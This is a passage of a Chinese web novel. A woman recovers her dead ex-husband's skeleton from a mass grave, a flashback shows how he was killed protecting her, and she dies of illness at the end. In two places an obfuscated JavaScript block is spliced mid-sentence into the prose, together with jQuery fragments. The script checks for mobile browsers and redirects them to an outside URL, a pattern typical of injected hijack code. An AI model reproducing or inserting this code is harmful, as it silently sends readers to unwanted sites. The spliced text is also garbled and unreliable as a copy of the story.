段襄说得没错,这城西小树林的确是片乱葬岗,林中横七竖八地堆着匆匆掩埋的尸体,尸体的下面是不知何时被丢到此处的几具白骨。
纪杪春在林中行走着,免不了踩到不知名的尸体。她的眼前一片昏暗,只能借着闪电辨认前方的路。这里白天便不会有人来,此时更是安静,耳边除了沙沙的雨声以外什么都没有。
纪杪春弯下腰一具尸体一具尸体地翻找着,她的手很痛,明明不知道自己要找什么,可她
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129354|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
却还是找得很认真。每当翻到男子的尸体时她便会心里开始打鼓,但当看到那人的脸后却又松了口气。
她就这么一点一点地翻,哪怕已经快将林中的尸体翻了个遍也不停歇,直到她不小心踢到一具白骨才停下来。
这具白骨被压在另一具尸体下面,像是已经被丢到这里许久了。他的身上穿着破破烂烂的衣服,这衣服的针脚歪斜,看着颇为可笑。白骨的手中握着一只荷包,那荷包做工也很是粗糙,明明是不值钱的玩意,却被攥得很紧。
纪杪春愣了一下,她弯下腰去,轻轻地碰了碰那件眼熟的衣服,可她还没怎么用力,便将那衣袖扯碎了。
怪不得找不到他。纪杪春看着白骨手中的荷包,想到了江南那个算命先生。那算命先生说将死之人能看到未转世的魂魄,如果有人见到已经去世很久的亲友,说明这人也命不久矣。
所以她之前在雪地里、在狱中见到苏晞光,不过是因为她要死了,而她眼前所谓的苏晞光也只是缕魂魄。
说起来,自从她与苏晞光和离之后,两人已经许久没见了。她在狱中蹉跎了一年,又找了苏晞光半年,现在总算找到了他。
水无定,花有尽,会相逢。
可是人生长在别离中。
在离开京城之前,虽然纪杪春嘴上不说,心里却坚信两人终会再见,可她与苏晞光之间像是隔了万水千山那么远。她找了好久好久,她累了,本不想再找下去,却在此处与苏晞光来了个久别重逢。
“早知道一开始便来这城西小树林就好了。”纪杪春叹了口气。明明是春天,下起雨来却依旧很冷,冷得她不住地发抖。
无论如何,她最终还是找到了他。
突然间,纪杪春的身后传来一声微弱的“咔哒”声,她转头望去,发现那个本应在江南等着大理寺调查的沈和玉竟然出现在了林中。
也是,她把人家告上了朝廷,沈和玉定会派人盯着她,等她踏出那个戒备森严的府邸后便将她置于死地,又怎么可能不知道她来了这里?
“……这是沈晞光?”看着那具白骨,沈和玉有些不可置信地出声问道。
他做梦都想杀了沈晞光,可当他真的看到沈晞光的尸体时,心里却没有想象中的那么高兴。他与沈晞光已经十几年没见了,本来想着这回总算是赢过他那个便宜弟弟了,可还没等他庆祝,沈晞光便已经死了。
沈和玉突然笑了,他双眸通红,像是马上就要哭出来一般。他看着那具白骨,莫名地想到了小时候,那时父亲还没有将那姓苏的歌女接到府中,父亲每天会花很多时间陪着他,还会将他抱起来摘枝头的花。
可沈晞光出生之后,父亲便再也没有抱过他。
也许他恨的不是沈晞光,他恨的是自己。他恨自己哪怕拼尽全力却也比不上沈晞光半点,恨自己无论如何也无法让父亲再多看自己一眼。
“你想杀了我吗?”沈和玉看着纪杪春腰间的匕首轻声问道。
纪杪春觉得沈和玉就是个神经病,她皱了皱眉,不愿再跟他多说,可她刚想别过头去,沈和玉便将一个小册子丢在了她脚下。
这是她落在沈家地牢的兔园册。
这本兔园册还是破破烂烂的,跟着她经历了几番波折,连苏晞光写的批注都已经变得模糊,而之前那些突然出现在册子上的字也不见了。
可能是因为找到了苏晞光,兔园册不用再为她指引方向,又或者是因为她的癔症突然好了,总之她是看不到那些字了。
纪杪春无视站在一旁的沈和玉,她用匕首将衣裙的下摆割了下来,又把那具已经有些散架的白骨小心翼翼地摆到了布上。她本想将那手中紧握的荷包取出,可是这白骨握得实在是太紧了,纪杪春生怕这只较为完整的手也散了架,于是便放弃了。
最后,她将那本破破烂烂的兔园册轻轻放到了白骨上,随后又将布包绑在了背上,轻声说道:“苏晞光,我带你回家。”
纪杪春背着那具白骨缓缓地走在小树林中,她不知道自己应该去哪里,便只好一直向前。这一刻,她突然很是后悔。
和离那天,她不应该在心里埋怨苏晞光走得太快,若是可以再来一遍,她定是要站在原地等他回头。
她也不应该怀疑苏晞光的爱,她不恨他了,她想让他回来。
15. 心不移
苏晞光死在了纪杪春出狱的那天。在那之前,他已经很久没有休息了。
就在天下大赦的前一天,苏晞光听到了风声,特意给徐娘子写了一封信,这封信他写得很急,生怕晚一步便无法将信寄出。
他知道,沈和玉可能会派人盯着他,为了寄出这封信,他费了好大的力气才将那些一直跟着他的人甩掉。他怕日后自己出了什么事,于是便想着提前为纪杪春做些打算。如果纪杪春回了燕北老家,那便一定是走投无路了,于是苏晞光便拜托徐娘子,若是在黎镇见到了纪杪春,便给她些银钱,让她能好好生活。
寄完信之后,苏晞光又偷偷地回了纪宅。他知道沈和玉的手段,天下大赦后纪杪春从狱中出来,沈和玉是不会放过她的。以防万一,苏晞光打算将纪府中与自己有关的东西都烧了,虽然没什么大用处,可他却还是想尽量斩断自己与纪家之间的联系。
虽然不明白为何沈和玉不派人直接杀了自己,可苏晞光却丝毫不敢放松,他可以死,但他不能连累了纪杪春。
苏晞光借着月色在府中寻了好久,他将那些舍不得烧物件与证据一同放到了玉匣中,随后埋到了后院的榕树下。
他从小记性便好,这些证据他早就记在脑海中,哪怕没有这几张纸,他也能一字不差的将其背出来。可查证一事毕竟凶险,苏晞光生怕他哪天突然不在了,于是才将证据写下藏于纪宅,若是自己真的死了,说不定也有人能发现这个玉匣。
虽然舍不得,可苏晞光却还是一点一点地将潮湿的土壤覆盖在小匣子上。最后看了一眼那颗榕树,他便带着那些准备烧掉的东西出了府。
也许是天色昏暗的原因,他把几乎所有与自己相关的东西都带走了,可唯独落下了一本兔园册。那兔园册孤零零地躺在断垣残壁之间,风一吹,书页便沙沙地翻动着。
离开纪府后,苏晞光便打算寻个地方将东西烧了,却在经过一个巷子时听到有人提到了天下大赦这四个字。他转头望去,只见一个身负长刀的男子正朝几个老妪打听纪家的事,虽然已经离开江南许多年了,可苏晞光却还是一眼认出了他。
那是沈和玉身边的暗卫宁辙,此次来京,想必是也听到了天下大赦的消息,为了杀纪家之人而来的。
苏晞光虽然不舍,却还是刻意将纪杪春给他缝的荷包丢在了地上,随后便朝京郊的方向跑去。那荷包上绣着一个歪歪扭扭的纪字,若是宁辙有心,定会一路寻他。
明天便是纪杪春出狱的日子,他能做的,只有尽量将宁辙引开。大赦天下时定会有许多人在宣德楼前观礼,到时京中人来人往,只要拖些时间,等纪杪春混迹到人群之中,再想找她可就没那么容易了。
京郊有个破庙,这破庙像是个贼窝,似乎有人长住在这里,可那人也许出了远门,只留下半个吃剩的馒头。苏晞光将那些从纪府带出来的东西放到庙前的空地上,又用燧石把这些物件点燃。火焰蹿得老高,照亮了庙里半阖着眼的大佛。苏晞光看着佛祖庄严法相,莫名想起《妙色王求法偈》中的一句话。
由爱故生忧,由爱故生怖,若离于爱者,无忧亦无怖。
在遇到纪杪春之前,为了能寻找沈和玉勾结朝官的证据,他没少做以身犯险的事,可他却一点都不怕死。对他来说,只要能扳倒沈和玉,哪怕是死,也很值得。
可成亲之后,他便再也没这么想过,因为他也有了顾虑和软肋。他怕暴露真实身份后纪杪春会跟他和离,所以他便一直努力地装成一个普通书生;他又怕连累了纪家,于是参加了秋闱,想走一条更为稳妥的路。
而现在,他怕宁辙对纪杪春不利,于是便费劲心机地将其引到郊外。
苏晞光死都不怕,却没想到世间原来还有这么多东西值得他恐惧。
他站在庙前,眼睁睁地看着那些熟悉的物件逐渐被烧成灰烬,看着自己亲手将苏晞光这个人一点一点地从纪家剥离出来。风一吹过,灰尘便呛得他不住地咳嗽,苏晞光弯下腰,咳得眼泪都出来了。
正如苏晞光所料,在看到那个荷包之后,宁辙的确是一路追着他的踪迹赶来了京郊破庙。宁辙本以为纪家的人不知使了什么手段提前从狱中溜了出来,逃跑路上又不小心将荷包落下了,却没想到那引他来此处的人是苏晞光。
见宁辙到了,苏晞光拍了拍衣袖上落着的灰,握紧了从庙中寻到的柴刀。
苏晞光知道,宁辙既然能被沈和玉选做暗卫,定是有些本领的,哪怕他拼尽全力,也拖不了多长时间。可即便如此,他也不能让宁辙这么快便回到城中。
“……是你?”看到那张熟悉的脸,宁辙眯起了眸子。
明明主子一直派人盯着苏晞光,可没想到这小子有些能耐,不仅甩开了那些眼线,还将他引到郊外。
此时已是子夜,离纪杪春出狱大概还剩六个时辰。
似乎是看穿了苏晞光的意图,宁辙不愿在此浪费时间,于是转身便打算下山,却没想到被突然砍来的柴刀划破了脸。他神色阴沉地看着苏晞光,想着要不是主子强调了好几遍要留着苏晞光慢慢折磨,他早就一刀把这小子了结了。
苏晞光咬紧牙关,绝不退让半步,他的眼前是熊熊烈火,身后是庙中神佛。
见苏晞光像是打定了主意要拦,宁辙便也不再客气。他手起刀落,步步紧逼,心里想着哪怕杀不了苏晞光,也要让他再也走不了路,省得他再不自量力地与沈家作对。
苏晞光从小身体便不太好,他未曾习武,只能尽力地抵挡宁辙的攻势,没过一会便落了下风。眼看一道寒光从眼前闪过,苏晞光下意识要挡,却没想到宁辙一个旋身便挑断了他的脚筋。
苏晞光扑通一下跪在地上,可手却还是死死地握着宁辙的手腕。宁辙有些不耐烦地啧了一声,想用长刀将苏晞光挥开,只听“噗”的一声,那刀刃却没入了苏晞光的胸口。
看到这一幕,宁辙脸色一变,想到沈和玉三令五申要留苏晞光一条命,他便有些握不住手中的刀。他本是想给苏晞光一个教训,却没想到失手杀了他。
沈和玉的做派他是知道的,忆起之前苏夫人那几个被剥皮挖眼的奴婢,宁辙便觉得自己也活不了多久了。
“求你……放过她……”苏晞光想说话,可口中鲜血却止不住地涌出,浸透了身上那件连针脚都歪歪扭扭的衣服。
即便如此,他却还是拼了命地攥着宁辙的手腕,想要阻止他离开。
宁辙低着头,看着苏晞光狼狈的样子,丝毫没办法将眼前之人与多年前沈家那个矜贵的小公子联系起来。
他明明那么聪明,他本来不用死的。宁辙这样想着,缓缓将长刀从苏晞光身体里抽出,随后将那个不太精致的荷包扔在地上。
“还给你。”
没了长刀作为支撑,苏晞光彻底跪不住了。他趴在地上大口喘息着,眼里却还望着纪杪春给他的荷包。他伸长了胳膊去够,却怎么也够不到。
天色逐渐亮起,马上便要到颁布大赦令的时候了。
苏晞光全身都痛,痛得他止不住地颤抖。不知为何,他总是觉得自己差点气运,直到死的那一刻,他的心里还是这么想的。也许,他这一生的运气都用在与纪杪春成亲这件事上。可是,如果二人一开始便没相遇的话,纪杪春便也不用受他牵连了。
想到纪杪春,苏晞光像是忘了身上的疼痛,他努力睁大眼睛,想靠着天色判断现在是什么时候,他想知道纪杪春是不是已经被放出来了。他已经拖得够久了,此时他再没有别的心愿,也不在乎榕树下的玉匣会不会有朝一日被人发现,他唯一放心不下的便是纪杪春。
他希望纪杪春能平安。
纪杪春还在狱中时,苏晞光每天都会想着她有没有饿着,冷不冷。他曾经让人偷偷送点吃食衣物进去,可那人却被沈和玉的手下抹了脖子,在那之后,苏晞光便再也没有往狱中送过东西。
苏晞光咳了几声,又呕出一口血。
本以为两人还能再相见,却没想到,直到死的那一刻,他也没能见到纪杪春。可即便他死了,也希望纪杪春不要那么快来找他,他宁愿等得久一点。
苏晞光不愿死去之后便遁入轮回,如果可以的话,希望老天能让他的魂魄回到纪杪春的身边。
想到这里,苏晞光的心中突然涌起无尽的力量,他用尽了全身的力气,最终还是将那荷包紧紧握在手中,随后才满足地闭上了眼睛。
眼看着苏晞光的气息越来越微弱,宁辙的心里也逐渐漫上绝望,他张了张嘴,最后却只能咬牙切齿地说了一句:“痴儿。”
因为怕被沈和玉怪罪,宁辙将苏晞光的尸体丢到了城西的那片乱葬
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15129355|164386||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
岗。想着家中老母,他思虑良久,最终还是一刀了结了自己。
这小树林平日里鲜少有人经过,如果他不主动告知,起码一段时间内沈和玉是不会知道苏晞光已经死了。
咽气之前,宁辙只期盼苏晞光的死能瞒得久一些,说不定时间一长,沈和玉会以为苏晞光失踪了,便不再寻找。他还期盼哪怕事情败露,沈和玉也念在他忠心耿耿的份上,绕他娘亲一命。
宁辙死后,城西小树林便恢复了往日的安静。在那之后,没人知道苏晞光已经死了,也没人再见过他。
颁布大赦令时,京中下起了一场大雨,神官说这是因为新帝仁德,上天特地降下甘霖以示祥瑞。这场大雨将苏晞光身上的血和泥冲得干干净净,又将破庙前的火彻底浇灭,只留下一堆灰烬,而这些灰烬被雨水打湿后又成了一滩灰泥。在这滩灰泥的旁边,摆着一把卷了刃的柴刀。
庙前的血迹被这场大雨尽数洗去,可庙中的血腥气却一连几日都没散尽。
苏晞光这一生虽然不长,却有着很多的遗憾,一是没来得及把证据呈上去,让世人看清沈和玉的真面目,二是直到死也没能再见纪杪春一面。
除此之外,他也没有机会告诉纪杪春,他很早很早之前便认识她了。
京中再次相遇的那天,只一眼苏晞光便将纪杪春认了出来。在那以后,虽然纪杪春觉得自己总是一厢情愿地找苏晞光套近乎,却不知在她看不见的地方,苏晞光也曾千万次地把目光投向她。
……
找到苏晞光的尸骨之后,纪杪春便把他埋到了纪家后院的榕树下,与那个小小的玉匣放到了一起。
不知为何,自从知道苏晞光死了,沈和玉便再也没找过她的麻烦,反而乖乖地认了罪。纪杪春等了很久也没等到所谓的报复,她拿着尽数归还的家产,又将自家那个破落的宅子赎了回来,在那之后她便搬回了纪宅。
段襄时不时会去纪宅看看纪杪春,生怕纪杪春某天便突然嗝屁了。
晚春时节雨水充沛,春光作序,万物和鸣,可纪杪春的身体却逐渐变糟。兴许是因为那枚红色的小药丸,纪杪春的记性越来越差,她逐渐忘记了父母和姐姐,忘记自己曾经去过江南,也忘记了苏晞光。段襄觉得这样也好,省得她成天思虑过重。
那红色的药丸明明那么甜,怎么就要了她的命?纪杪春没法给出答案,她只能日复一日地待在府中,然后慢慢地将过去遗忘,到了最后,她连段襄都不认识了。
可她明明已经忘记了一切,却在春天将要结束的时候,看到墙外升起的风筝时,想起自己好像也与人一同放过风筝,那天下着大雨,把她浇成了落汤鸡。
那一瞬间,纪杪春便全想起来了。她想起自己曾与姐姐牵着手踩过厚厚的雪,一步一步地回了家,又想起刚搬到京城的时候,父亲和母亲带着她们二人仔仔细细地将新家打扫了一遍,又亲手在院中种了许多许多花。
最后,她想起了那个入赘到纪家的小白脸的夫君,两人在京中第一次相遇,是因为她踩坏了一个不值钱的瓢,被讹了五两银子。
说起来,撇去那作不得数的和离,她与苏晞光已成亲快三年了。
还记得在成亲后的第一个新年,两人一起在河边放了灯,灯上写着岁岁年年,唯念卿安。放完灯之后,她和苏晞光便沿着青石板路并肩走着,从巷头走到巷尾。那时的她,还想着今后每年都要与苏晞光一起去河边放灯。
想到这里,纪杪春缓缓闭上眼睛,随后便没了呼吸。
说来也巧,纪家女儿的命跟她们的名字一样,纪清冬死在冬天的江南,而纪杪春死在晚春的京城。
为纪杪春收拾遗物的时候,段襄偶然间又翻开了那本兔园册,册子上的批注已经有些看不清了,可在这些批注上面,却密密麻麻地覆着苏晞光的名字。
为了不忘记他,纪杪春曾拖着病弱的身体,一笔一划地将他的名字写下,直到写满了整个册子。
将纪杪春安葬之后,段襄最后一次合上纪家的大门,他死死地握着钥匙,像是将那钥匙锈在了掌心一般,然后便再也没来过。
在那之后,由于许久无人收拾,纪府内长满了杂草,青苔也漫上了墙壁。二人成亲那年,那被纪杪春随手摘下的小黄花原本只在角落里长了几株,现在却开得满院都是。